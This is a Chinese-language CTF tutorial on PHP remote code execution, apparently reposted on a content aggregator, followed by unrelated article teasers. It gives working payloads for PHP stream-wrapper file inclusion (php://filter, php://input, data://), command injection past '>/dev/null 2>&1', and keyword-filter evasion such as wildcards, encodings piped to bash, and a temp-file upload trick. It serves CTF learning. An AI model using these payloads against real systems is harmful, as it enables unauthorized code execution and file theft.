CTF php RCE(二)

0x04 php伪协议

这种我们是先看到了include才会想到,利用伪协议来外带文件内容,但是有些同学会问,我们怎么知道文件名是哪个,哪个文件名才是正确的,那么这里我们就得靠猜了

include函数

在这里插入图片描述

因为 include 是一个特殊的语言结构,其参数不需要括号。在比较其返回值时要注意。
include 函数用于包含指定文件(通常是 PHP 脚本文件)的内容,使得被包含的文件中的所有 PHP 代码在当前脚本中执行。

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。 如果在
include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则
include 结构会发出一条 E_WARNING ;这一点和 require 不同,后者会发出一个 E_ERROR 。

所以我们需要文件路径来推进文件包含flag,得到内容

file://

allow_url_fopen :off/on
allow_url_include:off/on
但是需要知道文件路径,我基本是没用过

file://D:/soft/phpStudy/WWW/phpcode.txt

php://

这里说几种常用的伪协议命令

php://filter
allow_url_fopen :off/on
allow_url_include:off/on

base64
php://filter/read=convert.base64-encode/resource=flag.php
rot13
php://filter/string.rot13/resource=flag.php
php://input     接受原始POST输入流进行命令执行
allow_url_fopen :off/on
allow_url_include:on

POST:
<?= phpinfo();?> 执行成功

data://

data://text/plain,<?= system("cat fl*");?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+         这里同理也可以写rot13等其他编码

zip://

我没用过,用了之后补上

phar://

这个也是

0x05 >/dev/null 绕过

这个东西为什么单独拎出来,完全是我想而已
众所周知2>&1是一个重定向写法,bash弹shell经常使用,但是在命令执行函数中他可以用来使得命令执行结果被转入>/dev/null文件路径中

重定向(Redirect)是指将一个命令的输入或输出流从默认的位置改变到另一个位置或设备上的操作。

标准输入(STDIN,文件描述符为0):通常用于接收输入数据。
标准输出(STDOUT,文件描述符为1):通常用于输出正常的程序输出。
标准错误(STDERR,文件描述符为2):通常用于输出错误消息和其他诊断信息。

这部分是将标准错误(STDERR)重定向到标准输出(STDOUT)

>/dev/null:这部分是一种重定向输出的方法。/dev/null 是一个特殊的设备文件,在 Unix/Linux 系统中,它是一个空设备,写入到它的内容都会被丢弃,不会保存到任何地方。

诶那么绕过方法其实也非常简单

;     用于分隔多个命令
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行
%0a	  换行符
system($c." >/dev/null 2>&1");
当我们输入;时候
直接就变成了system(ls; >/dev/null 2>&1);
如果ls有效那么就会成功执行并且有回显,其他同理

0x06 字符串过滤

字符串过滤这个是非常常见的我们每次看任何的比赛吧,正常的都会把flag给禁了那么我们就围绕这个来说说常用的姿势

通配符 *

这个是最常用也是最好用的

功能: 匹配零个或多个字符。
示例:
*.txt:匹配所有以 .txt 结尾的文件。
file*:匹配所有以 file 开头的文件或目录。

f*就能代表flag如果只有一个f开头的文件

通配符 ?

功能: 匹配任意单个字符。
示例:
?.txt:匹配所有由一个字符加上 .txt 后缀的文件,比如 a.txt、1.txt、x.txt 等等。

比如fla?.php 而且有时候如果过滤忘记过滤P的话还有姿势,例子

<?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>

本题过滤少了p

php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。linux下默认为/tmp。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是php**.tmp

访问/tmp/phpxxxxxx来读取文件
linux .(点命令):读取并且在当前的shell中执行文件中的命令
这里用p师傅的话讲的话,.file是用bash来执行file文件中的命令,而且这种操作是不需要file有x权限

payload

GET:
?cmd=?><?=`.+/??p/p?p??????`;
POST:
#! /bin/bash           //指定为脚本

cat /flag.txt
前面也说到了我们是利用bash

其他

fl""ag
fla''g
fla\g

通配符 [ ]

在正则表达式中,[ ] 表示一个字符类(character class),用于指定一个字符集合,可以匹配其中任意一个字符

[9-q]
[9-q] 表示匹配一个字符,该字符的范围是从 9 到 q 之间的任何字符。

在这里插入图片描述

管道符

echo "Y2F0IGZsYWc=" | base64 -d|bash
| base64 -d:管道符 | 将 echo 命令的输出传递给 base64 -d 命令。base64 -d 表示对输入进行 Base64 解码。
| bash:再次使用管道符 |,将解码后的结果作为 Bash 命令执行。

在这里插入图片描述

切片环境变量

${PATH:x:y}
将环境变量PATH的某个字母才从第x个字符开始切片y个字符

在这里插入图片描述

拼接

a=c;b=at;c=flag;$a$b $c

进制转换

利用管道符
这东西我记得有但是我成功不了,欠着先

16进制
echo "0x63617420666c6167" | xxd -r -p | bash
8进制
echo "cat flag" | od -An -t o1
printf "\143\141\164\040\146\154\141\147\012" | bash

在这里插入图片描述

特殊变量

$1
$2

借用师傅的图
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/787603.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Tomcat的安全配置

1、生产环境优化 2、部分漏洞修复 转载自风险评估&#xff1a;Tomcat的安全配置&#xff0c;Tomcat安全基线检查加固-CSDN博客

氛围感视频素材高级感的去哪里找啊?带氛围感的素材网站库分享

亲爱的创作者们&#xff0c;大家好&#xff01;今天我们来聊聊视频创作中至关重要的一点——氛围感。一个好的视频&#xff0c;不仅要有视觉冲击力&#xff0c;还要能够触动观众的情感。那我们应该去哪里寻找这些充满氛围感且高级的视频素材呢&#xff1f;别急&#xff0c;我这…

telnet在windows和linux上的使用方法

telnet在windows上使用 ‘telnet’ 不是内部或外部命令&#xff0c;也不是可运行的程序或批处理文件。 windows上有自带的telnet工具的&#xff0c;这只是没有安装添加进来而已。 处理 方法&#xff1a; 打开控制面板-点击程序与功能 进到程序与功能界面&#xff0c;点击启用或…

Debezium报错处理系列之第114篇:No TableMapEventData has been found for table id:256.

Debezium报错处理系列之第114篇:Caused by: com.github.shyiko.mysql.binlog.event.deserialization.MissingTableMapEventException: No TableMapEventData has been found for table id:256. Usually that means that you have started reading binary log within the logic…

产品原型设计:从概念到实现的完整指南

如果你是一位产品经理&#xff0c;那么你一定会和原型图打交道&#xff0c;产品原型是产品设计方案和底层逻辑的可视化表达&#xff0c;需要完整清晰地表达出产品目的及需求&#xff0c;在整个产品创造的过程中发挥着不可或缺的作用。而对于一些刚入行的产品经理来说&#xff0…

C++基础语法

目录 一、命名空间 1.1 什么是命名空间 1.2 命名空间的定义 1.3 命名空间的使用 二、输入输出流 三、缺省参数 四、函数重载 五、内联函数 C是一种通用的编程语言&#xff0c;具有面向对象、泛型编程和低级内存操作等特性。它是由Bjarne Stroustrup在20世纪80年代初开发…

idea集成本地tomcat

由于网课老师使用的是eclipse,但是……本人用的是idea,所以不得不去找教程。 解决方案1&#xff1a; https://blog.csdn.net/weixin_54048131/article/details/131359793 这个地方&#xff0c;路径一定要到这个tomcat 否则不识别&#xff1a; 这里的JRE也要配置一下 新问题&…

VBA初学:零件成本统计之四(汇总计算)

第四步&#xff0c;最后进行汇总计算 汇总统计的计算 Sub count() Dim rng As Range Dim i As Long, j As Long Dim arr_s, arr, brr, crr, drr Dim rowscount As Long Dim X As Variant Dim rg As Single, xb As Single, zj As SingleMsgBox "汇总计算时间较久&#xff…

24吉林事业单位报名照上传通过别忘了这一步

24吉林事业单位报名照上传通过别忘了这一步 #吉林事业单位 #吉林三支一扶 #吉林事业编 #事业单位报名照片 #吉林事业单位考试 #吉林市事业单位

需求分析|泳道图 ProcessOn教学

文章目录 1.为什么使用泳道图2.具体例子一、如何绘制确定好泳道中枢的角色在中央基于事实来绘制过程不要纠结美观先画主干处理流程再画分支处理流程一个图表达不完&#xff0c;切分子流程过程数不超25 &#xff0c;A4纸的幅面处理过程过程用动词短语最后美化并加上序号酌情加上…

Java--instanceof和类型转换

1.如图&#xff0c;Object&#xff0c;Person&#xff0c;Teacher&#xff0c;Student四类的关系已经写出来了&#xff0c;由于实例化的是Student类&#xff0c;因此&#xff0c;与Student类存在关系的类在使用instanceof时都会输出True&#xff0c;而无关的都会输出False&…

双色球 | python

1. 玩法规则 “双色球”每注投注号码由 6 个红色球号码和 1 个蓝色球号码组成。红色球号码从 1—33 中选择&#xff0c;蓝色球号码从 1—16 中选择。 球的数字匹配数量和颜色决定了是否中奖。 2. 需求 生成本期双色球中奖号码。&#xff08;注意&#xff1a;1.生成的红球随机有…

光学传感器图像处理流程(一)

光学传感器图像处理流程&#xff08;一&#xff09; 1. 处理流程总览2. 详细处理流程2.1. 图像预处理2.1.1. 降噪处理2.1.2. 薄云处理2.1.3. 阴影处理 2.2. 辐射校正2.2.1. 辐射定标2.2.2. 大气校正2.2.3. 地形校正 2.3. 几何校正2.3.1. 图像配准2.3.2. 几何粗校正2.3.3. 几何精…

Python神经模型评估微分方程图算法

&#x1f3af;要点 &#x1f3af;神经网络映射关联图 | &#x1f3af;执行时间分析 | &#x1f3af;神经网络结构降维 | &#x1f3af;量化图结构边作用 | &#x1f3af;数学评估算法实现 &#x1f36a;语言内容分比 &#x1f347;Python随机梯度下降算法 随机梯度下降是梯度…

【Python实战因果推断】18_线性回归的不合理效果8

目录 Saturated Regression Model Regression as Variance Weighted Average Saturated Regression Model 还记得我在本章开头强调回归和条件平均值之间的相似性吗&#xff1f;我向你展示了使用二元干预进行回归与比较干预组和对照组的平均值是完全一样的。现在&#xff0c;由…

逆向分析之电脑端如何调试一些只能手机端浏览器才可以打开的网站

手机端浏览器的指纹和电脑端浏览器的指纹是不同的,这样只在手机端浏览器运行的网站则可以检测网站是否满足手机端浏览器指纹的要求,不满足则可以进行一些反爬措施。 例如一些公众号,其实就是使用手机端浏览器打开的H5网站,就可以进行手机端浏览器指纹检测。 这里只是讲解下…

昇思MindSpore学习总结十二 —— ShuffleNet图像分类

当前案例不支持在GPU设备上静态图模式运行&#xff0c;其他模式运行皆支持。 1、ShuffleNet网络介绍 ShuffleNetV1是旷视科技提出的一种计算高效的CNN模型&#xff0c;和MobileNet, SqueezeNet等一样主要应用在移动端&#xff0c;所以模型的设计目标就是利用有限的计算资源来达…

STM32基础篇:AFIO × 查表重映射 × AFIO库函数

AFIO简介 AFIO&#xff0c;直译为&#xff1a;复用输入输出&#xff0c;是STM32上众多的片上外设之一&#xff1b;我们知道当IO引脚复用功能冲突时&#xff0c;可以通过重映射来解决这个问题&#xff0c;而AFIO就是专门用来执行"复用功能的重映射"的模块&#xff08…

Mac电脑上有什么好玩的肉鸽游戏推荐 苹果电脑怎么玩以撒的结合

Mac电脑尽管在游戏兼容性上可能不及Windows。但是&#xff0c;对于喜欢在Mac上游玩的玩家来说&#xff0c;依然有不少优秀的游戏可以选择&#xff0c;尤其是那些富有挑战性和策略性的肉鸽游戏。此外&#xff0c;对于经典游戏《以撒的结合》&#xff0c;Mac平台也提供了良好的游…

模拟考试小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;科目管理&#xff0c;复习资料管理&#xff0c;参考文献管理&#xff0c;用户管理&#xff0c;留言板管理&#xff0c;论坛管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;复习资料&#xf…